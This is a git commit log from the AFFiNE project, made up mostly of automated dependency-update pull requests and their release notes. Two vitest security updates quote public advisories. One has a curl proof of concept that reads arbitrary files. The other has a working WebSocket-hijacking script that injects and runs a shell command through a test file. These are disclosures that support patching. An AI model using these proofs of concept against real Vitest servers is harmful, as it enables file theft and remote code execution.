-   Adds `ICookie`, `IOptionalCookie`, `CookieSameSiteEnum` and `IVirtualServer` as exports to the index file - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693)
-   Makes non-mandatory cookie properties optional in `CookieContainer.addCookies()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693)

### [`v16.7.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.6.0...v16.7.0)

##### 🎨 Features

-   Adds support for simulating local HTTP servers that serves files from the local file system - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1688](https://redirect.github.com/capricorn86/happy-dom/issues/1688)
    -   Read more about virtual servers in the [Wiki](https://redirect.github.com/capricorn86/happy-dom/wiki/IVirtualServer)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 01:24:25 +00:00
JimmFly
2ed03eaed7 fix(core): workspace storage rows are displayed unexpectedly (#9539)
close AF-2066
2025-02-05 23:58:01 +08:00
Brooooooklyn
7f2b07a701 feat(native): bump deps (#9966) 2025-02-05 13:48:18 +00:00
Brooooooklyn
58aa18afa6 style: run clippy fix and fmt (#9965) 2025-02-05 13:48:17 +00:00
Brooooooklyn
db1fcf42c9 chore(server): stdout is enough for collecting server logging (#9964)
`@google-cloud/logging-winston` is not working well :(

![image](https://github.com/user-attachments/assets/1d5f44e6-7ca5-40b7-bcfa-d22c276ad813)
2025-02-05 13:25:11 +00:00
pengx17
d3400fbe89 fix(core): local blobs are not being deleted when gc in unused blobs settings (#9960) 2025-02-05 13:01:18 +00:00
donteatfriedrice
9cae1c3a28 fix(core): copilot client should throw right ai error (#9958)
[BS-2488](https://linear.app/affine-design/issue/BS-2488/copilot-client-需要正确返回错误类型)
2025-02-05 12:46:13 +00:00
forehalo
4ed03c9f0e feat(i18n): introduce server error i18n (#9953)
close AF-2054
2025-02-05 12:30:19 +00:00
renovate
4a943d854e chore: bump up @vitest/browser version to v3.0.4 [SECURITY] (#9937)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`3.0.2` -> `3.0.4`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.2/3.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/3.0.2/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/3.0.2/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2025-24963](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5)

### Summary
`__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by [`browser.api.host: true`](https://vitest.dev/guide/browser/config.html#browser-api), an attacker can send a request to that handler from remote to get the content of arbitrary files.

### Details
This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system.
f17918a799/packages/browser/src/node/plugin.ts (L88-L130)

This code was added by 2d62051f13.

### PoC
1. Create a directory and change the current directory to that directory
1. Run `npx vitest init browser`
1. Run `npm run test:browser`
2. Run `curl http://localhost:63315/__screenshot-error?file=/path/to/any/file`

### Impact
Users explicitly exposing the browser mode server to the network by [`browser.api.host: true`](https://vitest.dev/guide/browser/config.html#browser-api) may get any files exposed.

---

### Release Notes

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

#####    🐞 Bug Fixes

-   Filter projects eagerly during config resolution  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7313](https://redirect.github.com/vitest-dev/vitest/issues/7313) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d)
-   Apply `development|production` condition on Vites 6 by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) ([#&#8203;7301](https://redirect.github.com/vitest-dev/vitest/issues/7301)) [<samp>(ef146)</samp>](ef1464fc7b)
-   **browser**: Restrict served files from `/__screenshot-error`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7340](https://redirect.github.com/vitest-dev/vitest/issues/7340) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2)
-   **deps**: Update all non-major dependencies  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7297](https://redirect.github.com/vitest-dev/vitest/issues/7297) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae)
-   **runner**: Timeout long sync hook  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7289](https://redirect.github.com/vitest-dev/vitest/issues/7289) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c)
-   **typechecking**: Support typechecking parsing with Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7335](https://redirect.github.com/vitest-dev/vitest/issues/7335) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9)
-   **types**: Fix public types  -  by [@&#8203;mrginglymus](https://redirect.github.com/mrginglymus) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7328](https://redirect.github.com/vitest-dev/vitest/issues/7328) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

#####    🐞 Bug Fixes

-   **browser**:
    -   Don't throw a validation error if v8 coverage is used with filtered instances  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7306](https://redirect.github.com/vitest-dev/vitest/issues/7306) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2)
    -   Don't fail when running --browser.headless if the browser projest is part of the workspace  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7311](https://redirect.github.com/vitest-dev/vitest/issues/7311) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56)

#####    🏎 Performance

-   **reporters**: Update summary only when needed  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7291](https://redirect.github.com/vitest-dev/vitest/issues/7291) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 12:10:12 +00:00
doodlewind
56d604f685 perf(editor): use clipped section for worker bitmap cache (#9957)
Before (grey area as rendered canvas bitmap):

<img width="1114" alt="image" src="https://github.com/user-attachments/assets/9a209818-c388-4e55-af9b-116f24bd8027" />

After:

<img width="1103" alt="image" src="https://github.com/user-attachments/assets/1102264a-ec21-4c0c-b4b6-e82a64b1a844" />
2025-02-05 11:54:03 +00:00
CatsJuice
9bc085ff1b fix(ios): can't connect to dev server (#9959) 2025-02-05 11:39:19 +00:00
renovate
e0dd90108f chore: bump up @capgo/inappbrowser version to v7 (#9956)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`^6.9.35` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/6.9.35/7.1.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/6.9.35/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/6.9.35/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.1.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#716-2025-02-02)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.6)

### [`v7.1.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#711-2025-01-27)

[Compare Source](847415fc3b...7.1.1)

### [`v7.0.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#700-2023-05-24)

[Compare Source](c1747d61cd...847415fc3b4c7250e5f6ffb76d75c0c05cf74041)

##### ⚠ BREAKING CHANGES

-   capacitor 5

##### Features

-   add clearCookie method ([4c5bd3c](4c5bd3c604))
-   capacitor 5 ([f023b23](f023b230ed))
-   force 0.4 ([1f83751](1f837513c0))

##### Bug Fixes

-   add missing definition ([8f4084c](8f4084cb04))
-   better documentation ([fe4ddab](fe4ddab78f))
-   build issue ([b1775db](b1775db824))
-   build script ([551064c](551064cfa9))
-   bump major ([803be81](803be81e74))
-   ci name ([30a9987](30a9987d2d))
-   **deps:** update dependency [@&#8203;capacitor/splash-screen](https://redirect.github.com/capacitor/splash-screen) to v5 ([6039de4](6039de40f0))
-   **deps:** update dependency com.android.tools.build:gradle to v8.0.1 ([f2741a4](f2741a4565))
-   **deps:** update dependency com.google.android.material:material to v1.9.0 ([8fe8de0](8fe8de03d1))
-   finsih config cap 5 ([2b197e8](2b197e81b5))
-   ios build ([e63cf37](e63cf37096))
-   lint issue ([cc0d88f](cc0d88f3c6))
-   missing namespace ([360352e](360352e6ae))
-   versions actions ([d45036d](d45036dae1))

### [`v6.9.37`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.36...c1747d61cd1804d09310daa54e42efe4c82dd110)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.36...c1747d61cd1804d09310daa54e42efe4c82dd110)

### [`v6.9.36`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#6936-2025-01-23)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.35...6.9.36)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 11:23:57 +00:00
Brooooooklyn
10233f1dbf fix(admin): migrate tailwindcss config to v4 (#9940) 2025-02-05 11:09:58 +00:00
renovate
14fbb8b059 chore: bump up oxlint version to v0.15.9 (#9922)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.8` -> `0.15.9`](https://renovatebot.com/diffs/npm/oxlint/0.15.8/0.15.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.8/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.8/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.9`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.9): oxlint v0.15.9

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.8...oxlint_v0.15.9)

#### \[0.15.9] - 2025-02-01

##### Features

-   [`1a41181`](https://redirect.github.com/oxc-project/oxc/commit/1a41181) linter: Implement `eslint/prefer-object-spread` ([#&#8203;8216](https://redirect.github.com/oxc-project/oxc/issues/8216)) (tbashiyy)
-   [`adb8ebd`](https://redirect.github.com/oxc-project/oxc/commit/adb8ebd) linter: Implement no-useless-call rule ([#&#8203;8789](https://redirect.github.com/oxc-project/oxc/issues/8789)) (keita hino)
-   [`3790933`](https://redirect.github.com/oxc-project/oxc/commit/3790933) linter: Add vitest/prefer-lowercase-title rule ([#&#8203;8152](https://redirect.github.com/oxc-project/oxc/issues/8152)) (Tyler Earls)
-   [`e8e6917`](https://redirect.github.com/oxc-project/oxc/commit/e8e6917) linter: Unicorn/switch-cases-braces support options ([#&#8203;8704](https://redirect.github.com/oxc-project/oxc/issues/8704)) (1zumii)

##### Bug Fixes

-   [`8ce21d1`](https://redirect.github.com/oxc-project/oxc/commit/8ce21d1) linter: Can't disable `no-nested-ternary` rule anymore ([#&#8203;8600](https://redirect.github.com/oxc-project/oxc/issues/8600)) (dalaoshu)
-   [`e929f26`](https://redirect.github.com/oxc-project/oxc/commit/e929f26) linter: Output `LintCommandInfo` for `CliRunResult::LintNoFilesFound` ([#&#8203;8714](https://redirect.github.com/oxc-project/oxc/issues/8714)) (Sysix)
-   [`4f30a17`](https://redirect.github.com/oxc-project/oxc/commit/4f30a17) linter: Unicorn/switch-case-braces mangles code when applying fix ([#&#8203;8758](https://redirect.github.com/oxc-project/oxc/issues/8758)) (Tyler Earls)
-   [`9cc9d5f`](https://redirect.github.com/oxc-project/oxc/commit/9cc9d5f) linter: `ignorePatterns` does not work when files are provided as command arguments ([#&#8203;8590](https://redirect.github.com/oxc-project/oxc/issues/8590)) (dalaoshu)
-   [`1de6f85`](https://redirect.github.com/oxc-project/oxc/commit/1de6f85) linter: No-lone-blocks erroring on block statements containing comments ([#&#8203;8720](https://redirect.github.com/oxc-project/oxc/issues/8720)) (Tyler Earls)
-   [`77ef61a`](https://redirect.github.com/oxc-project/oxc/commit/77ef61a) linter: Fix diagnostic spans for `oxc/no-async-await` ([#&#8203;8721](https://redirect.github.com/oxc-project/oxc/issues/8721)) (camchenry)
-   [`f15bdce`](https://redirect.github.com/oxc-project/oxc/commit/f15bdce) linter: Catch `Promise` in `typescript/array-type` rule ([#&#8203;8702](https://redirect.github.com/oxc-project/oxc/issues/8702)) (Rintaro Itokawa)
-   [`5041cb3`](https://redirect.github.com/oxc-project/oxc/commit/5041cb3) vscode: Fix commands by reverting commit `259a47b` ([#&#8203;8819](https://redirect.github.com/oxc-project/oxc/issues/8819)) (Alexander S.)

##### Performance

-   [`d318238`](https://redirect.github.com/oxc-project/oxc/commit/d318238) linter: Remove sorting of rules in cache ([#&#8203;8718](https://redirect.github.com/oxc-project/oxc/issues/8718)) (camchenry)

##### Documentation

-   [`57b7ca8`](https://redirect.github.com/oxc-project/oxc/commit/57b7ca8) ast: Add documentation for all remaining JS AST methods ([#&#8203;8820](https://redirect.github.com/oxc-project/oxc/issues/8820)) (Cam McHenry)

##### Refactor

-   [`c2fdfc4`](https://redirect.github.com/oxc-project/oxc/commit/c2fdfc4) linter: Correctly handle loose options for `eslint/eqeqeq` ([#&#8203;8798](https://redirect.github.com/oxc-project/oxc/issues/8798)) (dalaoshu)
-   [`0aeaedd`](https://redirect.github.com/oxc-project/oxc/commit/0aeaedd) linter: Support loose options for `eslint/eqeqeq` ([#&#8203;8790](https://redirect.github.com/oxc-project/oxc/issues/8790)) (dalaoshu)
-   [`194a5ff`](https://redirect.github.com/oxc-project/oxc/commit/194a5ff) linter: Remove `LintResult` ([#&#8203;8712](https://redirect.github.com/oxc-project/oxc/issues/8712)) (Sysix)
-   [`4a2f2a9`](https://redirect.github.com/oxc-project/oxc/commit/4a2f2a9) linter: Move default `all_rules` output to trait ([#&#8203;8710](https://redirect.github.com/oxc-project/oxc/issues/8710)) (Sysix)
-   [`741fb40`](https://redirect.github.com/oxc-project/oxc/commit/741fb40) linter: Move stdout outside LintRunner ([#&#8203;8694](https://redirect.github.com/oxc-project/oxc/issues/8694)) (Sysix)
-   [`10e5920`](https://redirect.github.com/oxc-project/oxc/commit/10e5920) linter: Move finishing default diagnostic message to `GraphicalReporter` ([#&#8203;8683](https://redirect.github.com/oxc-project/oxc/issues/8683)) (Sysix)
-   [`9731c56`](https://redirect.github.com/oxc-project/oxc/commit/9731c56) oxlint: Move output from `CliRunResult::InvalidOption` to outside and use more Enums for different invalid options ([#&#8203;8778](https://redirect.github.com/oxc-project/oxc/issues/8778)) (Sysix)
-   [`fe45bee`](https://redirect.github.com/oxc-project/oxc/commit/fe45bee) oxlint: Create different `CliRunResult` instead of passing `ExitCode` to it ([#&#8203;8777](https://redirect.github.com/oxc-project/oxc/issues/8777)) (Sysix)
-   [`2378fef`](https://redirect.github.com/oxc-project/oxc/commit/2378fef) oxlint: Move ConfigFileInit output outside CliRunResult, exit code 1 when it fails ([#&#8203;8776](https://redirect.github.com/oxc-project/oxc/issues/8776)) (Sysix)
-   [`f4cecb5`](https://redirect.github.com/oxc-project/oxc/commit/f4cecb5) oxlint: Remove unused `CliRunResult::PathNotFound` ([#&#8203;8775](https://redirect.github.com/oxc-project/oxc/issues/8775)) (Sysix)

##### Testing

-   [`ad35e82`](https://redirect.github.com/oxc-project/oxc/commit/ad35e82) linter: Use snapshot testing instead of LintResult ([#&#8203;8711](https://redirect.github.com/oxc-project/oxc/issues/8711)) (Sysix)
-   [`bf895eb`](https://redirect.github.com/oxc-project/oxc/commit/bf895eb) linter: Add diagnostic format test snapshots ([#&#8203;8696](https://redirect.github.com/oxc-project/oxc/issues/8696)) (Alexander S.)
-   [`34d3d72`](https://redirect.github.com/oxc-project/oxc/commit/34d3d72) linter: Add snapshot tester for cli ([#&#8203;8695](https://redirect.github.com/oxc-project/oxc/issues/8695)) (Sysix)
-   [`0bf2bcf`](https://redirect.github.com/oxc-project/oxc/commit/0bf2bcf) oxlint: Test two real rules with same name but from different plugins ([#&#8203;8821](https://redirect.github.com/oxc-project/oxc/issues/8821)) (dalaoshu)
-   [`2b83b71`](https://redirect.github.com/oxc-project/oxc/commit/2b83b71) oxlint: Improve disabling "no-nested-ternary" tests ([#&#8203;8814](https://redirect.github.com/oxc-project/oxc/issues/8814)) (Alexander S.)
-   [`45648e7`](https://redirect.github.com/oxc-project/oxc/commit/45648e7) oxlint: Fix InvalidOptionTsConfig tests for windows ([#&#8203;8791](https://redirect.github.com/oxc-project/oxc/issues/8791)) (Alexander S.)
-   [`48bfed9`](https://redirect.github.com/oxc-project/oxc/commit/48bfed9) oxlint: Ignore windows path mismatch (Boshen)
-   [`6f4a023`](https://redirect.github.com/oxc-project/oxc/commit/6f4a023) oxlint: Remove "--print-config" test ([#&#8203;8792](https://redirect.github.com/oxc-project/oxc/issues/8792)) (Sysix)
-   [`55c2025`](https://redirect.github.com/oxc-project/oxc/commit/55c2025) oxlint: Add `CliRunResult` to snapshot ([#&#8203;8780](https://redirect.github.com/oxc-project/oxc/issues/8780)) (Sysix)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 10:54:57 +00:00
forehalo
7ceab1c7da chore(ios): rebuild ios graphql schema (#9935) 2025-02-05 10:27:27 +00:00
forehalo
7826e2b7c8 refactor(server): use feature model (#9932) 2025-02-05 10:27:26 +00:00
forehalo
0ff8d3af6f feat(server): auto create page owner role (#9944) 2025-02-05 10:09:57 +00:00
EYHN
5913715e33 fix(ios): fix app crash (#9955) 2025-02-05 09:44:54 +00:00
Flrande
c8790d20da fix(editor): can not add attachment because service not exist (#9952)
![image](https://github.com/user-attachments/assets/0d78058a-4e30-4133-8c63-238456e70f34)
2025-02-05 09:29:24 +00:00
renovate
75c4291325 chore: bump up vitest version to v3.0.5 [SECURITY] (#9938)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)

This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)

### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.

```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
```

### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

### Release Notes

<details>
<summary>vitest-dev/vitest (vitest)</summary>

### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

##### 🚀 Features

-   **ui**: Insert message "no tests found" in ui - by [@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in [https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd)

##### 🐞 Bug Fixes

-   Validate websocket request - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34)
